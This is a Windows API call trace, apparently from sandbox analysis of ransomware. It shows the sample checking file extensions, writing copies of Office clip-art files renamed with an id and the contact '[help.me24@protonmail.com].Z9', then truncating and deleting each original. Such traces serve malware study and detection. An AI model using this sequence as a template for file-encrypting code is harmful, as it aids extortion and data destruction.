	[0097.309] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0097.309] lstrlenW (lpString=".docx") returned 5
	[0097.309] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0097.309] lstrlenW (lpString=".pdf") returned 4
	[0097.309] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0097.309] lstrlenW (lpString=".xls") returned 4
	[0097.309] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0097.309] lstrlenW (lpString=".xlsx") returned 5
	[0097.309] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0097.309] lstrlenW (lpString=".ppt") returned 4
	[0097.309] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0097.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0097.309] lstrlenW (lpString=".zip") returned 4
	[0097.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0097.309] lstrlenW (lpString=".rar") returned 4
	[0097.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0097.309] lstrlenW (lpString=".bz2") returned 4
	[0097.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0097.309] lstrlenW (lpString=".7z") returned 3
	[0097.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0097.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0097.309] lstrlenW (lpString=".dbf") returned 4
	[0097.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0097.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0097.309] lstrlenW (lpString=".1cd") returned 4
	[0097.310] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0097.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0097.310] lstrlenW (lpString=".jpg") returned 4
	[0097.310] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0097.310] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0097.310] lstrlenW (lpString="J0099158.WMF") returned 12
	[0097.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0097.310] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=26160) returned 1
	[0097.311] CloseHandle (hObject=0x384) returned 1
	[0097.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 0x220
	[0097.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0097.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0097.311] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.311] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0097.312] GetLastError () returned 0x0
	[0097.312] ReadFile (in: hFile=0x384, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x6630, lpOverlapped=0x0) returned 1
	[0097.313] WriteFile (in: hFile=0x370, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x6640, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x6640, lpOverlapped=0x0) returned 1
	[0097.314] ReadFile (in: hFile=0x384, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0097.314] WriteFile (in: hFile=0x370, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0097.315] SetEndOfFile (hFile=0x370) returned 1
	[0097.315] CloseHandle (hObject=0x370) returned 1
	[0097.315] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.315] SetEndOfFile (hFile=0x384) returned 1
	[0097.318] CloseHandle (hObject=0x384) returned 1
	[0097.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0097.318] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 1
	[0097.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0097.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0097.319] lstrlenW (lpString=".doc") returned 4
	[0097.319] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0097.319] lstrlenW (lpString=".docx") returned 5
	[0097.319] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0097.319] lstrlenW (lpString=".pdf") returned 4
	[0097.319] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0097.319] lstrlenW (lpString=".xls") returned 4
	[0097.319] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0097.319] lstrlenW (lpString=".xlsx") returned 5
	[0097.319] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0097.319] lstrlenW (lpString=".ppt") returned 4
	[0097.319] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0097.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0097.319] lstrlenW (lpString=".zip") returned 4
	[0097.319] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0097.319] lstrlenW (lpString=".rar") returned 4
	[0097.319] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0097.319] lstrlenW (lpString=".bz2") returned 4
	[0097.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0097.319] lstrlenW (lpString=".7z") returned 3
	[0097.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0097.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0097.319] lstrlenW (lpString=".dbf") returned 4
	[0097.320] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0097.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0097.320] lstrlenW (lpString=".1cd") returned 4
	[0097.320] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0097.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0097.320] lstrlenW (lpString=".jpg") returned 4
	[0097.320] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0097.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0097.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0097.320] lstrlenW (lpString=".doc") returned 4
	[0097.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0097.320] lstrlenW (lpString=".docx") returned 5
	[0097.320] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0097.320] lstrlenW (lpString=".pdf") returned 4
	[0097.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0097.320] lstrlenW (lpString=".xls") returned 4
	[0097.320] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0097.320] lstrlenW (lpString=".xlsx") returned 5
	[0097.320] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0097.320] lstrlenW (lpString=".ppt") returned 4
	[0097.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0097.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0097.320] lstrlenW (lpString=".zip") returned 4
	[0097.320] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0097.320] lstrlenW (lpString=".rar") returned 4
	[0097.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0097.320] lstrlenW (lpString=".bz2") returned 4
	[0097.320] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0097.320] lstrlenW (lpString=".7z") returned 3
	[0097.320] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0097.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0097.320] lstrlenW (lpString=".dbf") returned 4
	[0097.320] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0097.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0097.321] lstrlenW (lpString=".1cd") returned 4
	[0097.321] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0097.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0097.321] lstrlenW (lpString=".jpg") returned 4
	[0097.321] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0097.321] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0097.321] lstrlenW (lpString="J0099159.WMF") returned 12
	[0097.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0097.328] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=27546) returned 1
	[0097.328] CloseHandle (hObject=0x384) returned 1
	[0097.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 0x220
	[0097.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0097.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0097.329] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.329] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0097.329] GetLastError () returned 0x0
	[0097.329] ReadFile (in: hFile=0x384, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x6b9a, lpOverlapped=0x0) returned 1
	[0097.334] WriteFile (in: hFile=0x370, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x6ba0, lpOverlapped=0x0) returned 1
	[0097.335] ReadFile (in: hFile=0x384, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0097.335] WriteFile (in: hFile=0x370, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0097.335] SetEndOfFile (hFile=0x370) returned 1
	[0097.335] CloseHandle (hObject=0x370) returned 1
	[0097.335] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.335] SetEndOfFile (hFile=0x384) returned 1
	[0097.336] CloseHandle (hObject=0x384) returned 1
	[0097.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0097.337] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 1
	[0097.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0097.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0097.337] lstrlenW (lpString=".doc") returned 4
	[0097.337] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0097.337] lstrlenW (lpString=".docx") returned 5
	[0097.337] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0097.337] lstrlenW (lpString=".pdf") returned 4
	[0097.337] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0097.337] lstrlenW (lpString=".xls") returned 4
	[0097.337] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0097.337] lstrlenW (lpString=".xlsx") returned 5
	[0097.337] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0097.338] lstrlenW (lpString=".ppt") returned 4
	[0097.338] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0097.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0097.338] lstrlenW (lpString=".zip") returned 4
	[0097.338] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0097.338] lstrlenW (lpString=".rar") returned 4
	[0097.338] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0097.338] lstrlenW (lpString=".bz2") returned 4
	[0097.338] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0097.338] lstrlenW (lpString=".7z") returned 3
	[0097.338] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0097.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0097.338] lstrlenW (lpString=".dbf") returned 4
	[0097.338] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0097.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0097.338] lstrlenW (lpString=".1cd") returned 4
	[0097.338] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0097.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0097.338] lstrlenW (lpString=".jpg") returned 4
	[0097.338] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0097.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0097.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0097.338] lstrlenW (lpString=".doc") returned 4
	[0097.338] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0097.338] lstrlenW (lpString=".docx") returned 5
	[0097.338] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0097.338] lstrlenW (lpString=".pdf") returned 4
	[0097.338] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0097.338] lstrlenW (lpString=".xls") returned 4
	[0097.338] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0097.338] lstrlenW (lpString=".xlsx") returned 5
	[0097.338] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0097.338] lstrlenW (lpString=".ppt") returned 4
	[0097.338] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0097.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0097.338] lstrlenW (lpString=".zip") returned 4
	[0097.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0097.339] lstrlenW (lpString=".rar") returned 4
	[0097.339] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0097.339] lstrlenW (lpString=".bz2") returned 4
	[0097.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0097.339] lstrlenW (lpString=".7z") returned 3
	[0097.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0097.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0097.339] lstrlenW (lpString=".dbf") returned 4
	[0097.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0097.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0097.339] lstrlenW (lpString=".1cd") returned 4
	[0097.339] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0097.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0097.339] lstrlenW (lpString=".jpg") returned 4
	[0097.339] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0097.339] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0097.339] lstrlenW (lpString="J0099160.JPG") returned 12
	[0097.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0097.340] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=15145) returned 1
	[0097.340] CloseHandle (hObject=0x384) returned 1
	[0097.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 0x220
	[0097.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0097.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0097.340] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.340] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0097.341] GetLastError () returned 0x0
	[0097.341] ReadFile (in: hFile=0x384, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x3b29, lpOverlapped=0x0) returned 1
	[0097.342] WriteFile (in: hFile=0x370, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x3b30, lpOverlapped=0x0) returned 1
	[0097.343] ReadFile (in: hFile=0x384, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0097.343] WriteFile (in: hFile=0x370, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0097.343] SetEndOfFile (hFile=0x370) returned 1
	[0097.344] CloseHandle (hObject=0x370) returned 1
	[0097.344] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.344] SetEndOfFile (hFile=0x384) returned 1
	[0097.345] CloseHandle (hObject=0x384) returned 1
	[0097.345] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0097.345] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 1
	[0097.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0097.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0097.345] lstrlenW (lpString=".doc") returned 4
	[0097.345] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0097.345] lstrlenW (lpString=".docx") returned 5
	[0097.345] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0097.345] lstrlenW (lpString=".pdf") returned 4
	[0097.345] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0097.345] lstrlenW (lpString=".xls") returned 4
	[0097.345] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0097.345] lstrlenW (lpString=".xlsx") returned 5
	[0097.345] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0097.345] lstrlenW (lpString=".ppt") returned 4
	[0097.345] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0097.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0097.345] lstrlenW (lpString=".zip") returned 4
	[0097.346] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0097.346] lstrlenW (lpString=".rar") returned 4
	[0097.346] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0097.346] lstrlenW (lpString=".bz2") returned 4
	[0097.346] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0097.346] lstrlenW (lpString=".7z") returned 3
	[0097.346] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0097.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0097.346] lstrlenW (lpString=".dbf") returned 4
	[0097.346] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0097.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0097.346] lstrlenW (lpString=".1cd") returned 4
	[0097.346] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0097.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0097.346] lstrlenW (lpString=".jpg") returned 4
	[0097.346] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0097.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0097.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0097.346] lstrlenW (lpString=".doc") returned 4
	[0097.346] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
